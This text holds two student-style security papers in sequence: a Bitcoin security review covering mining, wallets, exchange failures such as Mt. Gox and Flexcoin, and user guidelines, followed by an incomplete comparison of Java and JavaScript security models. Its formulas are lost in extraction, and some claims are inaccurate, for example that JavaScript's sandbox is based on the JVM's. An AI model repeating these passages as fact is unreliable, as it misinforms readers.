currency in transactions. In this paper, we review the security 

issues as a result of using Bitcoins, and highlight some real life 

exploits. Furthermore, we propose guidelines for users and 

Bitcoin services, taking into account the convenience and security 

tradeoff. 

Categories and Subject Descriptors 
K.4.4 [Electronic Commerce]: Security 

General Terms 

Security, Human Factors 

Keywords 

Security, Bitcoin, Cryptocurrency 

1. INTRODUCTION 
Given the increasing popularity of Bitcoins, it is no wonder that 

malicious hackers are turning their attention to this 

cryptocurrency. As Bitcoin usage continues to gain familiarity and 

acceptance as a means of holding value, existing and prospective 

users can look forward to handling it as comfortably as traditional 

currency by understanding its characteristic security issues.  

In this report, we will first understand Bitcoin and the workings of 

their key functions. We will explore the security issues that arise 

when using Bitcoins, substantiated with real-life examples as 

necessary. In the second part of the report, we will lay down some 

guidelines to guard against these security issues which attempt to 

strike a balance between usability and security.  

2. UNDERSTANDING BITCOINS 

In traditional currencies, transactions can happen physically which 

involves handling of paper money or coins. This peer to peer 

transaction can be verified by both parties, as it happens 

physically. However, if we were to transfer money digitally, then 

how can we be sure that the transfer indeed take place, and that 

the digital money only belongs to a single person? What is to 

prevent another person from making digital copies of the money, 

and send it to different parties? This is known as the double-

spending problem, and today it is solved by having a trusted third 

party such has a bank to help broker the transaction.  

Bitcoins is a cryptocurrency that solves the double-spending 

problem without the use of any third parties. This means anyone 

can send money to another person, with both parties being certain 

that the transaction will not suffer from the double-spending 

problem. For the rest of the section, we will get an overview on 

how Bitcoin solves this problem, and how its design is or is not 

able to resist attacks. 

Bitcoins solves the double-spending problem by keeping a ledger 

of all Bitcoin transactions that have ever happened. If I were to 

make a transaction by transferring to another party, this 

transaction will be recorded on the ledger. This means my wallet 

now has fewer coins, and the other party's wallet has more coins. 

Assuming the ledger is correct, and that everyone looks at the 

same ledger, it will no longer be possible for me to double-spend 

the same coins. 

Of course, the assumptions made about the correctness and 

consistency of the ledger is a strong claim. Firstly, what is to 

prevent people from forging the ledgers? Second, does everyone 

have access to a consistent picture at the any given moment in 

time? 

Bitcoins solves the first problem by using several cryptographic 

technologies, and the second by using a distributed network. Let 

us examine what happens when someone makes a transaction. 

First, the sender creates a transaction by attaching the receiver's 

public key to a number of coins. This transaction is then signed by 

the sender's private key, and broadcasted to the network. This tells 

everyone on the network that the coin now belongs to the receiver. 

The block is added to the ledger. This public key cryptography 

ensures that the coins are spent only the owner himself. 

The ledger is a record of all transactions that have take place. In 

particular, the ledger is a chain of blocks, and each block contains 

a group of transactions. The key here is that adding a block to a 

ledger is more than pointing the last block to the new block. This 

action uses the hashcash proof-of-work function, which is 

computationally costly. We will examine this in further detail 

when we talk about Bitcoin mining. Finally, in the network, the 

ledger with the longest block chain is considered as the correct 

ledger. 

What happens if someone tries to alter the block chain? 

When someone tries to alter the transactions, he has to do two 

things. Firstly, after making the alterations, he has to redo the 

proof-of-work. We have seen that the hashcash function makes 

this difficult without significant computation power. Second, after 

redoing the proof-of-work, the altered block chain must be the 

longest block chain to be accepted by the network as the correct 

ledger. This is impossible unless the attacker has control of at 

least half of the computation power of the entire Bitcoin network. 

As such, the bigger this distributed system is, the harder it is for 

anyone to attempt to forge the ledger. 

Since the network is only secure when there is a non-trivial 

amount of computational resources, we face the difficulty of 

gathering sufficient computation power on the network – in other 

words, how do we entice users to contribute by participation? This 

is addressed simply by awarding Bitcoins to any user who 

manages to perform the block insertion, given that it is a difficult 
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and costly operation. This incentive gives rise to the term “Bitcoin 

miners”, who are nodes that form part of the network with the 

goal of performing block insertions for Bitcoins.  

It has been noted in the paper that Bitcoin does not guarantee 

privacy. At first glance this seems obvious - after all, the ledger is 

public and can be viewed by anyone. However, with some steps a 

user is able to attain some degree of anonymity. In general, 

Bitcoin cannot guarantee anonymity or privacy and the reasons 

will be explored as we examine Bitcoin addresses in greater detail 

later. 

3. BITCOIN OWNERSHIP 

3.1 Bitcoin Mining 
As mentioned in Understanding Bitcoins, adding transactions to 

the ledger involves something called the hashcash function. 

Furthermore, the Bitcoin network mints Bitcoins whenever a 

block has been successfully added. Let us examine this process in 

more detail. 

The insertion of records uses a function called the hashcash 

function. This is known as a proof-of-work system, where the 

proof is the proof that some amount of computation (or work) has 

been done. The hashcash function’s core contains a hash function 

and in Bitcoins, the SHA-256 hash function is used. When a block 

is to be inserted, the SHA-256 of the following is computed: 

 (     )     

The block s is simply the collection of transactions we want to add 

into the block chain. The random bits x ensures that there is an 

extremely low probability that two users will produce the same 

proof-of-work, resulting in wastage of calculations. Finally, the 

nonce c is the variable whose value is set to find the target. 

In order to make this computation difficult, a block is only 

accepted when the hashed value is less than the current target. 

This target is a 256-bit number common in the network, and a 

lower target results in a more difficult computation. 

Whenever a block is to be added, the entire network would be 

attempting the above trying hashes by varying the nonce. The first 

node to find the hash that is lower than the target will be rewarded 

Bitcoins, and the block is now becomes part of the block chain. 

Since the Bitcoin network can grow or shrink, the hashcash 

function is great since it allows control over how difficult it 

should be. This means there is some control as to how fast the 

block should be added into the block chain. 

Since finding a the desired hash value is simply down to 

probability, the more computational power one possesses, the 

more likely the person will be able to yield the rewards. 

At the point of writing, the computation power in the network is 

given by the hash rate, and is now 34,077,300 GH/s. The target is 

adjusted after 2016 blocks. Given that each block should take 10 

minutes, 2016 blocks will take two weeks. Since there will be 

variation in the hash rate, the network compares the actual time it 

took against two weeks and adjusts the target by the percentage 

difference.  

Since the target is simply 256 bits, it is difficult to get a sensing as 

to how computationally challenging it really is. Another metric 

more commonly used is the difficulty [2]. The difficulty is simply 

the ratio of the maximum target and the current target. This metric 

is given by the formula:  

           
                  

              
 

 

difficulty_level_1 represents the highest possible target (implying 

lowest difficulty), which is a constant given by: 

0x00000000FFFF00000000000000000000000000000000000000

00000000000000 

Given the computational power is measured in terms of hash rate, 

the average time required to find a correct hash given a difficulty 

is: 

     
                

        
 

Currently, the difficulty level is 6,119,726,089. Given that a AMD 

Radeon 5770 GPU performs about 157 × 106 Hash/sec, on 

average it will take about 46503933 hours or 5442 years to find a 

correct hash. This means your average home users will not be able 

to mine Bitcoins without extra investments into hardware. In fact, 

dedicated hardware is available for purchase and they offer 10 

times the performance of the average GPU. 

To promote the accessibility of the mining activity, mining pools 

are created. These pools are a collection of users who contribute 

an amount of computation they can afford. Then, the pools work 

in unison, and whenever anyone in the pool finds a block, the 

reward is distributed among all the users in the ratio of 

computations each has contributed.  

3.1.1 Security of Mining 
Since the goal of Bitcoin mining is to achieve as much 

computation as possible, an attacker will generally try to control 

computation resources owned by victims in what is known as 

unauthorized mining. This can come in the form of malware, or in 

some cases distributed with trusted software. While it was 

mentioned that conventional hardware is no longer lucrative, the 

draw here is the zero electricity costs, the potential size of the 

network, and the near anonymity of receiving Bitcoins. 

The first case we would like to highlight involves an online 

gaming company, E-Sports Entertainment [3]. E-Sports 

Entertainment distributes an online gaming platform that connects 

gamers in multiplayer games, with the knowledge that an anti-

cheating software has also been installed in each PC.  

A user found that there was an unusual amount of GPU usage 

even when not gaming, and it was eventually discovered that an 

employee of E-Sports had left code in its software that mines for 

Bitcoin when the PC is idle. 

With over 14,000 installs, the botnet managed to mine about 100 

over BTCs before it was discovered. E-Sports eventually resolved 

the case by agreeing to pay US$1 million. While this case may be 

considered an isolated case of a rogue employee, it highlights the 

ease of distributing mining software to unsuspecting users. 

Another case involves exploiting a Java vulnerability to drop 

malware into clients. Users visiting Yahoo [5] were served 

advertisements in iFrames which redirected to domains that 

served an exploit on Java, resulting in different malware being 

installed in the infected computer; part of the malware load was 

Bitcoin mining software. 

The above two cases are not new techniques that have been 

developed for the purpose of Bitcoin mining, nor are they flaws 

with the Bitcoin protocol design. These techniques can also be 

used to deliver traditional malware. As such, techniques used to 

protect a PC from viruses, worms or trojans are applicable here as 

well. 
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3.2 Storing Bitcoins 
The digital nature of Bitcoin allows it to be stored away on just 

about any device with sufficient memory, and to be spent or 

received as payment anywhere in the world via an Internet 

connection. Software applications that help owners to manage 

Bitcoins are called wallets. Akin to a physical wallet that holds 

cash, a Bitcoin wallet assists the owner in the storage, 

maintenance and transaction of Bitcoin private keys using a 

graphical user interface that is simple enough for the average 

person. The authorization requirement for carrying out 

transactions on a Bitcoin denomination in the network is met by 

the respective private key, which are direct representations of the 

legitimacy of the Bitcoins. As private keys are needed to authorize 

transaction activities, the loss of any private key effectively 

renders its associated denomination of Bitcoins worthless. 

3.2.1 Desktop and Mobile Wallet 
Currently, there exist several free-to-use wallets that are 

compatible for most devices and their associated operating 

systems, which include both computers and smartphones. A 

person who wishes to create a wallet on his or her device simply 

downloads and executes the suitable installation package, and is 

able to use the wallet immediately thereafter. This wallet is 

appropriately termed as a desktop wallet or a mobile wallet. With 

an Internet connection, these wallets are ready to execute 

transactions with other Bitcoin wallets directly. 

3.2.2 Web Wallet 
A third option involves setting up a wallet with a service provider 

such as a Bitcoin bank or exchange, in which a registration 

account is required in return for accessibility via the Internet. 

Such a wallet is termed a web wallet. Web wallets offer the 

convenience of quick setups without incurring memory via local 

installation on the computer, in addition to providing more 

powerful features such as intra-wallet transactions and custom 

limits on daily amounts. 

3.2.3 “Cold Storage”: Offline Wallets 
Naturally, security concerns arise with the usage of wallets, 

particularly if they reside on a device that is vulnerable to 

malicious cyber activity.  

First, the wallets themselves should source only from trusted 

vendors that provide securely-developed wallet applications; 

otherwise, unexpected thefts may occur either by insider fraud or 

external hacking. This security concern is especially valid for web 

wallets, where the private keys are stored with a Bitcoin service 

provider and not in direct possession of owners. 

Second, any wallet that resides on an Internet-connected device is 

necessarily vulnerable to malicious external intrusions, no matter 

the level of security precautions in place. A general solution is to 

store the wallet’s information in a medium that is devoid of any 

internet connection. A cold storage refers to any device that stores 

Bitcoin private keys offline. Such wallets can come in the form of 

offline hardware wallets and physical paper wallets. A hardware 

wallet is a piece of electronic ware specially dedicated to securing 

the private key contents, such as by storing them in a protected 

location in the microcontroller, which prevents plaintext 

extraction attempts. Paper wallets are simply physical paper 

records of private key information, and thus require input of 

private key information to a computer each time a Bitcoin 

transaction activity is required. 

3.3 Sending Bitcoins 
A Bitcoin wallet provides complete basic transaction functionality 

to send and receive Bitcoins using an Internet connection. 

Although the concepts are generally similar to handling 

conventional currencies, there are subtle differences in 

comparison to using existing platforms, such as an online payment 

service offered by a bank.  

The first step to setting up any Bitcoin transaction is connecting to 

the Bitcoin network. On a computer, this is done automatically by 

wallet applications upon program launch and usually requires no 

configuration actions from the user. Wallet applications usually 

come with an opt-in to the mining network, by which the 

synchronization of ledgers enable the user to perform mining 

activity. 

Before Bitcoins can be transferred, the destination of the 

transaction must be known. The payee of a Bitcoin transaction is 

identified by an address [1], which consists of 27-34 alphanumeric 

characters beginning with either 1 or 3: 

3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy 

This has to be directly provided by the payee. Since the addresses 

involved in the universe set of Bitcoin transactions are visible 

from the public ledger, the address does not contain any other 

information associated with the payee for purposes of anonymity. 

A new address with a zero Bitcoin balance can be created anytime 

without extra cost by using a suitable wallet application. 

To begin sending Bitcoins using the wallet application, the 

payee’s address is entered, along with the desired amount of 

Bitcoins to be sent. After the transaction is committed, it is then 

broadcast to the Bitcoin network for the purpose of obtaining 

confirmation; although the balances are updated, the transacted 

Bitcoins are locked to prevent any further operation. A 

confirmation is achieved when a certain number of blocks in the 

network have verified that transaction - this can take about 10 

minutes on average. 

3.4 Purchasing Bitcoins 
The purchase of Bitcoins involves the changing of physical 

currencies into Bitcoins. This concept is similar to exchanging 

currencies, and hence such services are known as Bitcoin 

exchanges. These exchanges allow users to create an account, at 

which point a wallet is also created for them. The users then can 

deposit Bitcoins or physical currencies into the account, and 

perform trades. 

The popularity of Bitcoins meant that the prices can be very 

volatile. This has attracted many users to use the exchanges as a 

way to make investments.  

The main problem with trusting your Bitcoins with a third party is 

the question of whether they can really be trusted. They may or 

may not be malicious, but even if they are, we find that they may 

not operate on the same level of sophistication as in traditional 

online banking services, online exchange services etc. Without 

any form of legislation, anyone can operate a Bitcoin service from 

his or her bedroom. 

During the time of writing, a scandal surrounds the biggest 

Bitcoin exchange, Mt. Gox. On 6 Feb 2014, Mt. Gox suspended 

all Bitcoin withdrawals, stating a technical issue in their 

withdrawal system [8]. After weeks of suspense, Mt. Gox filed for 

bankruptcy stating that it has lost most of the 750,000 Bitcoins 

[9]. A criminal investigation is still going on, but the Bitcoins are 

largely unaccounted for. There are even speculations that this is a 
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case of fraud by the Mt. Gox management; there was no theft at 

all.  

This episode has caused a lost in confidence in Bitcoins, but the 

problem lies in the third party but not Bitcoins itself. 

4. PROPOSED GUIDELINES 
In this section, we propose guidelines for users of Bitcoins based 

on the security problems highlighted before. We also have 

guidelines for building a secure Bitcoin service.   

4.1 Guidelines for Users 
Owing to the digital nature of Bitcoin and its powerful but 

irreversible mechanisms that make it mathematically secure as a 

currency, handling them requires careful selection of the physical 

and/or digital platforms that are used to store and transact them. 

Just as any person would be wise in deciding which safe, bank or 

online financial service is a reliable medium to hold and use his or 

her hard-earned money – the same prudence applies to managing 

Bitcoins. The current lack of financial legislation concerning the 

Bitcoin industry should also be a motivating factor for Bitcoin 

users to take extra precautions whenever possible - although in 

any case, the personal responsibility of an individual over his or 

her finances should alone warrant adequate security measures. 

4.1.1 Private Key Management 
The importance of selecting an appropriate private key 

management solution cannot be overemphasized. This decision-

making process is largely settles on a compromise between speed, 

convenience and security, and very much depends on the usage 

habits and personal preferences of the Bitcoin user. It must be 

noted that choosing a highly secure approach does not always 

result in corresponding security gains for the user in the long term, 

as the likelihood of accidental lapses increases due to 

incompatibility.  

4.1.1.1 Selecting an Appropriate Wallet 
While online desktop and mobile wallets provide an easy way to 

store and transact Bitcoins, their connectivity to the Internet 

presents vulnerabilities to the stored private keys, making them 

susceptible to theft by malware or a complete loss through a 

corruption of the storage in which they reside on. The ubiquitous 

access of Bitcoins offered by web wallets come at a necessary 

trust of having private keys in the possession of the service 

provider. 

On the other hand, offline wallets or cold storages offer greater 

levels of security by being disconnected from the Internet, but 

require the private keys to be manually retrieved each time for a 

transaction. In addition, offline storages do not guarantee 

protection against mechanical or software failures of the medium 

itself, and can be equally vulnerable as their online counterparts to 

malware introduced by other connecting media such as USB flash 

drives. 

4.1.1.2 Making “Cold Storage” Backups 
Assuming malware-free data transfers to the device which a cold 

storage resides, high levels of security are offered. This however; 

does not guarantee its loss - a sudden mechanical or software 

issue may damage the device, and prevent access to Bitcoin 

private keys in the cold storage indefinitely. Thus, regular 

backups are required to safeguard against Bitcoin loss due to 

unexpected failure of the cold storage. 

4.1.1.3 Performing Encryption of Backups 
For additional protection, encryption can be carried out on wallet 

backups by most wallet applications. On the original bitcoin client 

[7], a function is provided for private keys residing on the wallet 

application to be encrypted using 256-bit cipher-block chaining 

AES before storage using a random master key, which is then 

subject to the same encryption operation using a combination of 

512-bit SHA, OpenSSL and the speed of the computer. It is highly 

recommended for wallets to be encrypted as it helps to minimize 

the possibility of malicious access to stolen bitcoins. 

4.1.2 Precautionary Measures for Transactions 
Before committing to a bitcoin payment transaction, precautionary 

measures can be taken avoid falling prey to scams or accidental 

transactions.  

4.1.2.1 Using a Fresh Payee Address 
When making a payment using Bitcoins, it is good practice to 

request for a newly-generated address from the payee. This 

minimizes the possibility of an unintended transaction to an older 

address of the payee, which may have been previously 

compromised by an accidental loss or theft of its associated 

private key over time. Pertaining to transactions that involve a 

large amount of bitcoins, the address should finally be confirmed 

for authenticity by manually contacting the payee and carrying out 

cross-checking.  

4.1.2.2 Fail-safe Denominations for Large Payments 
Since new bitcoin addresses can be freely-generated without 

additional cost, they can be used to create temporary bitcoin 

“accounts” to store the exact amount required prior to transaction. 

This helps to prevent accidental inclusion of an excess amount for 

a large denomination of required bitcoins for payment. 

4.2 Guidelines for Bitcoin Services 
One of the goals of the Bitcoin protocol was the solving of the 

double-spending problem without requiring a third party to broker 

the transaction. Then, it seems to be an irony if a third party were 

to be introduced to provide Bitcoin services. The reason is very 

much down to convenience. There are banking services, exchange 

services and merchant services available for Bitcoins. Therefore, 

some users will find it difficult to avoid Bitcoin services as they 

go about using Bitcoins. 

An example would be Flexcoin [4], an online Bitcoin banking 

service. On 2nd March 2014, an announcement was posted on 

their website stating that they have been hacked and the heist 

caused a loss of 896 BTC. This was due to a bug on their front-

end, which allowed any user of their system to transfer Bitcoins 

from other Flexcoin accounts to its own.  

Let us suppose there is such a bug in our traditional online system. 

We find that even with the bug, there would be some difficulty in 

performing such a heist. This is due to multiple restrictions. For 

instance, a user would be notified of any withdrawal, or there is a 

limit to how much money one can transfer from their account in a 

day. Furthermore, the hacker will find it difficult to withdraw all 

this money without leaving a trace.  

As such, we believe there are certain minimal guidelines that any 

Bitcoin services should follow to ensure a certain level of security 

for their users. For the remainder of this section, we will identify 

and explain the guidelines that we believe should be the minimum 

for any Bitcoin service. Furthermore, any user of a Bitcoin service 

may also use the following guidelines to judge if a Bitcoin service 

is following good practices. 

4.2.1 Usage of SSL 
This is already a standard among most websites that requires 

login, or any exchange of potentially sensitive information. 

Therefore, we consider this to be the bare minimum requirement. 
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4.2.2 Using 2FA 
The usage of 2FA is already commonplace in finance services. 

2FA or even Multi-Factor Authentication involves using a 

separate device or the mobile phone to ensure the user is 

authorized. This is not only useful for logins. The authentication 

can be extended to privileged actions such as transfer of Bitcoins. 

This reduces the effectiveness of hackers who try to gain 

unauthorized access into accounts. 

4.2.3 Using Discretionary Access Controls 
One of the issues with having Bitcoins with a third party is the 

lack of access controls over the Bitcoins. Discretionary Access 

Controls in this case can include the control over the daily account 

transfer limit, accounts that can be transferred to,   

4.2.4 Maintaining Cold Storage Wallets 
As mentioned, the cold storage of Bitcoins involves an offline 

copy of the wallet. Given that the cold storage is offline, the 

maintenance of such a scheme may be onerous on the service 

provider part, but can potentially limit the losses in the event of an 

incursion.  

4.2.5 Strict Account Creation Process 
In order to maintain accountability in the service, a stricter 

account creation process that involves a record of the users’ 

personal identification should be required. We note that this is 

already starting to be the norm, where a minimum of the user’s 

personal identification and latest bill with residential address is 

required upon account creation. 

4.2.6 Transparency 
Given the sensitive nature of Bitcoin services and the lack of 

government legislation, the onus is on Bitcoin services to provide 

some transparency in terms of how users’ Bitcoins are being 

handled in a safe and secure manner. This is important because 

users can now make a more informed decision. Educated users 

can make inquiries about certain processes, and provide feedback 

about any lack of security processes. This places more emphasis 

on the service owner to regularly improve their policies. 

4.2.7 Other sophisticated methods 
Many online services have started using more sophisticated 

methods to detect the possibility of unauthorized access. For 

example, PayPal is able to detect access from different 

geographical location and locks the account immediately. DBS 

notifies users on their mobile phones whenever a relatively large 

amount is being withdrawn from the account.  

4.3 A Note on Legislation 
The guidelines listed above do not prevent fraud cases. Due to the 

relative anonymity of Bitcoins, it is possible for someone to setup 

a Bitcoin service, have users transfer Bitcoins and shutdown the 

service. We note that this does not happen with physical 

currencies because of the existence of laws and legislation to 

protect consumers. For instance, in order to setup a bank, you 

need to obtain a license. Furthermore, there are legislations that 

govern what ratio of the consumer deposited money can be used 

for investments. The finance legislations are beyond the 

discussion of this paper. However, we feel that they play a part in 

helping ensure the security of Bitcoins, and can solve the trusted 

third party problem in Bitcoin services. 

5. CONCLUSION 
In this paper, we have reviewed and understood Bitcoins and how 

they work. We have also found that the Bitcoin protocol itself is 

generally secure, and attacking the protocol would require 

significant amount of resources.  

We then identified that the security issues arise from the usage of 

Bitcoins. Erroneous trusting of third party, improper storage and 

transaction of Bitcoins form the bulk of security issues in 

Bitcoins. In each case, we review real world cases. 

Finally, based on the identified security issues, we lay down 

guidelines that provide security while at the same time 

maintaining user-friendliness.  

The entire ecosystem of Bitcoins is only as strong as its weakest 

link. The Bitcoin protocol ensures security when performing a 

transaction, but makes no guarantee in other aspects, leaving ill-

informed users vulnerable. This needs to be improved in order for 

Bitcoins to be a trusted and widespread currency like the physical 

counterparts. 
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ABSTRACT
In this paper we perform a comparative study of the security
models of Java and JavaScript. Java’s security model, which
includes the language level security, the Java Virtual Ma-
chine level security with sandboxing and the APIs provided
to build secure Java applications, is discussed. JavaScript
security policies along with complementing browser policies
are also analysed in detail. We perform additional compar-
isons between the two languages based on types of attacks
and Ross Anderson’s security framework.

Categories and Subject Descriptors
K.6 [Management of Computing and Information Sys-
tems]: Security and Protection; D.4.6 [Software Engi-
neering]: Security and Protection—Access controls, Au-
thentication, Verification

General Terms
Security Models, Comparison, Frameworks

Keywords
Java, JavaScript, Security, Vulnerabilities, Attacks

1. INTRODUCTION
Computer security has been an active area of research for
many decades. With advent of technology, secure applica-
tions have become the need of the day. Ensuring the security
of systems and applications can have varying levels of diffi-
culty for implementation. Popular programming languages
used for developing deliverable applications include Java and
JavaScript along with a host of others. Over the years, vul-
nerabilities in both these languages have been brought to
light by hackers and programmers.

In this paper, we aim to analyse in detail, the security mod-
els used by Java and JavaScript and take a closer look at the
fail-safe mechanisms they adopt. In Section 2 we go over the
models for both these languages, moving on to attack-based

comparisons in Section 3 and a framework-based comparison
in Section 4.

2. OVERVIEW OF SECURITY MODELS
Formally, a security model is defined as a schematic descrip-
tion of a set of entities and relationships by which a specified
set of security services are provided by or within a system.
Security models are formal descriptions of security policies
- needed to capture the security requirements and describe
the steps to be taken to achieve security. Essentially secu-
rity models are used in evaluation and sometimes for proofs
of security.

2.1 Java Security Model
Java’s security model covers two aspects from the technology
provider’s point of view and the security features provided
to cover these two aspects together ensure the desired secu-
rity level for Java platform and all Java applications. Java
Platform, Enterprise Edition or Java EE is an enterprise
Java computing platform. Java EE platform architecture
provides for the secure deployment of application compo-
nents. It emphasizes the declarative approach where-in the
application components’ security structure, access control,
role, authentication and authorization requirements are ex-
pressed and managed outside the application code.

2.1.1 Java Language Features
Java, as a language, comes with intrinsic features that enable
development of secure applications by default [7]. These are
fundamental properties of the language, which need to be
adhered to when applications are programmed. We will now
review some of these properties.

Firstly Java is strictly an object-oriented (OO) programming
language. Object-oriented design patterns serve as a mech-
anism for access control. While traditional security models
based on globally-accessible resources rely on access-control
lists for protection, OO design patterns are easier to use and
more effective. In this scheme, having a reference to an ob-
ject itself indicates the right to use it. One such application
is shielding implementation details from unwarranted clients
to prevent malicious code from accessing sensitive resources.
Inheritance, part of the OO programming paradigm, allows
methods provided by super-classes to be overridden by sub-
classes. Limiting cases are still provided for security pur-
poses. Classes defined as final classes cannot be inherited
further. These can ensure certain methods can be prevented
from being overridden for security purposes.
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Java is a strongly typed language meaning every variable
must be declared with a data type. It must know the range
of values it can hold, and once it is declared, the data type
of the variable cannot change. The compiler does extensive
type checking for type mismatches. This mechanism guaran-
tees the compatibility runtime variables and consistent with
runtime information.

Memory management is another key feature in Java security.
Java avoids the use of explicit pointers and address arith-
metic. This disallows forging of pointers or creating code
defining offset points to memory. Instance variables and
methods are referred via symbolic names. Also, a trans-
parent storage allocation method is provided by the Java
garbage collection mechanism and unused memory is re-
covered, instead of manual deallocation. In the event of
a JVM crash, programmatic access to incorrectly or acci-
dentally freed memory is prevented. Even during execution,
this scheme ensures program integrity.

Java defines primitives with a specific size and operations
are defined to executed in a particular order. Thus the
same code run on different JVMs will follow the same or-
der of execution, ensuring global compatibility. Also, a well
defined exception handling mechanism is critical for ensur-
ing security. By default standard error pages are displayed
or exception stack traces are printed, giving attackers a lot
of information about the system. Java allows handling this
issue in a straightforward way using error handlers.

2.1.2 Java EE Security
The Java EE container is that component of the Java EE
server that provides deployment and runtime support for
application components. There are three types of containers
- EJB, Web, Java EE application client. Each container has
its associated deployment descriptor.

Secure applications in the Java EE model require the client
programs to be authenticated after which an initial secu-
rity context, encapsulating the identity of the authenticated
user, is generated and maintained by the platform. The
<auth-methods> element in the Web deployment descriptor
is used to configure the type of authentication mechanism -
basic, certificate and form-based. For instance,
<auth-method>FORM</auth-method>.

With basic authentication, when a user attempts to ac-
cess any protected web resource, the web container checks
for the user’s authentication. Form-based authentication is
used if an application-specific login screen is required and
the browser’s built-in authentication service is inadequate
in which case, the web container authenticates the user.

Java EE application client deployed in the Java EE client
container also requires the user to authenticate himself. The
authenticated user security context is then obtained, main-
tained and propagated by the platform. With JavaScript,
secured resources are identified by URL patterns (in Web
modules) or method names (in EJB modules); the container
where the application runs enforces authentication and au-
thorization according to specifications in the application de-
ployment descriptor or annotations in the application code.
The transport layer can use the secure protocol HTTPS.

This model is the least complicated to deploy and adminis-
ter, and it is often used with the JAAS model

2.1.3 Java Applet Security
Java applets are loaded when a client visits a page contain-
ing the applet. They can be classified into Sandbox and
Privileged applets. The former creates a sandbox and al-
lows only whitelisted set of operations. Privileged applets
however, can run outside the security sandbox and have ex-
tensive capabilities to access the client.

Applets that are not signed are only allowed to run in a
sandbox environment and run only if the user accepts the
applet. Those applets that are signed by a recognised cer-
tified authority are restricted to the sandbox or can request
permission to run outside the sandbox. In either case, Java
applets are designed such that the user needs to make the
final decision of accepting the applet, without which, the
applet is blocked from running.

2.1.4 JVM Level Security
The Java Virtual Machine (JVM), instance of Java Runtime
Environment (JRE), is the code execution component of the
Java platform that executes Java bytecode. Bytecodes are
generated from Java programs and available for many soft-
ware and hardware implementations.

Execution environments must be restrained to protect the
system from running programs against security threats. The
sandbox security model is an intrinsic part of Java’s archi-
tecture. JVM provides a customizable sandbox within which
code is executed and is allowed to do anything. Outside of
the sandbox the code is restricted and not allowed to do
anything. The threat of hostile code is accounted for by
making it impossible for downloaded code to perform cer-
tain actions.

Programs that corrupt memory or potentially crashes other
programs are considered security breaches. Unrestrained
memory access is also considered a security threat. One
safety feature is the unspecified manner in which the runtime
data areas are laid out inside a virtual machine - making it
impossible to guess which areas will be used.

2.1.5 Java Security Frameworks and APIs
Java Cryptography Architecture (JCA) :

Provides methods for encryption, key generation, se-
cure random number generation, certificate validation
etc. using a provider-based architecture.

Java Authentication and Authorization Service :
Separates the concerns of user authentication. Adds
a marker indicating who runs the code in addition to
the code’s origin and signature. Extends the security
architecture of Java by extending the verification vec-
tors.

Java Secure Socket Extension :
Provides package to enable secure internet connections.
Implements Java versions of the SSL and TLS proto-
cols. Includes functionality for encryption, server au-
thentication etc.
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Table 1: Sandbox and Privileged Applet Permissions
Operations Sandbox Applets Privileged Applets (With user permission)
Make network connections to source host

√ √

Display HTML documents using the showDocument
method of java.applet.AppletContext class

√ √

Invoke public methods of other applets
√ √

Applets loaded over the network have restrictions
√ √

Applets are allowed to read system properties
√ √

Access client resources as the local filesystem
√ √

Connect or receive resources from third party server ×
√

Load native libraries ×
√

Change the SecurityManager [8] ×
√

Java CertPath API :
Handles ordered list of certificates (certification paths).
Used to securely map a public key to a subject if it
meets certain validation rules.

Java Generic Security Services API :
Used for securely exchanging messages between appli-
cations. Provides access to security services over the
underlying security mechanisms, including Kerberos.

2.2 JavaScript Security Model
The JavaScript security model is based on the sandbox se-
curity mechanism implemented by the Java Virtual Machine
(JVM). The JavaScript policies for security specify the ac-
cess provided to scripts loaded in the browser [10,11]. Sand-
boxing restricts the scripts within a closed environment for
operation that separates them from the rest of the operating
system and thus they have no access to the local file system,
shared memory space of other processes, or the networking
layer of the operating system. This restriction is imposed to
prevent malicious attacks, same as in the case of the JVM.
However, this general mechanism of sandboxing is not suffi-
cient to contain the entire domain of functionality and power
that scripts possess and thus in reality, attacks do happen
and JavaScript policies are complemented with browser im-
plemented security policies. The following section details on
the JavaScript language policies which is then followed by
the policies implemented by browsers for better security.

2.2.1 JavaScript Security Policies
JavaScript’s model is based on two main security policies:
a. Same Origin Policy
This policy permits scripts running on pages originating
from the same site to access each other’s methods and prop-
erties with no specific restrictions, but prevents access to
most methods and properties across pages on different sites.
This can be illustrated in the context of Mozilla Firefox
browser. Mozilla defines the origin as the substring of a
URL that includes protocol://host where host includes the
optional :port part. Table 2 gives examples of origin com-
parisons to the URL http://company.com/dir/page.html.

b. Signed Script Policy
The JavaScript security model for signed scripts is based on
its counterpart for the Java model. This policy validates a
script by virtue of a digital signature issued to it by a recog-
nized certificate authority such as VeriSign. This certificate

authenticates the owner of the script and assures that the
script was not modified before reaching the end user.

Another new line of defense that has come up recently to
protect against Cross-Site Scripting (XSS) attacks which are
capable of bypassing the same origin policy by tricking the
site to deliver malicious code along with the intended con-
tent. This originates because of the browser’s inability to
distinguish between the script that is intended to be part of
the application and the script that has been injected mali-
ciously by a third-party. The Content-Security-Policy over-
comes this by defining a CSP HTTP header that allows a
user to create a whitelist of sources of trusted content and
instructing the browser to only execute or render resource
from these sources. However, this still doesn’t solve the
biggest security threat posed by XSS attacks which is inline
script injection nor does it prevent an attacker from trick-
ing the application into converting inert text to executable
JavaScript and executing it on his behalf.

2.2.2 JavaScript Security Features
JavaScript’s first line of defense against malicious code is
that the language does not support certain capabilities. For
instance, client-side JavaScript does not provide any way to
write or delete files or directories on the client computer.
Thus, with no file object and no file access functions, a
JavaScript program cannot delete a user’s data or plant
viruses on the user’s system.

The second line of defense is that JavaScript imposes re-
strictions on certain features that it does support. For ex-
ample, client-side JavaScript supports a close() method for
the Window object, but most web-browser implementations
restrict this method so that a script can close a window only
if it was opened by a script from the same web server. If it
tries to close a window opened by the browser, a confirma-
tion box is shown.

Also, client-side JavaScript has no networking primitives of
any type. A JavaScript program can load URLs and send
HTML form data to web servers, CGI scripts, and email ad-
dresses, but it cannot establish a direct connection with any
other hosts on the network. This implies that a JavaScript
program cannot use a client’s machine as an attack platform
to crack passwords on another node.

But an important point worth mentioning here is that al-
though the core JavaScript language does not support fea-
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Table 2: Origin Comparisons
URL Outcome Reason

http://company.com/dir2/other.html Success -
http://company.com/dir/inner/another.html Success -

http://www.company.com/dir/other.html Failure Different domain
file://D|/myPage.htm Failure Different protocol

http://company.com:80/dir/etc.html Failure Different port

tures required for executing malicious code like file system
and networking primitives, in many browser, JavaScript is
commonly used as a script engine for other software compo-
nents like ActiveX controls in Internet Explorer and plugins
in Netscape. This poses a possible threat since these com-
ponents could possess file system and networking capabil-
ities and any malicious code in JavaScript programs could
control them, thereby compromising the security of the ap-
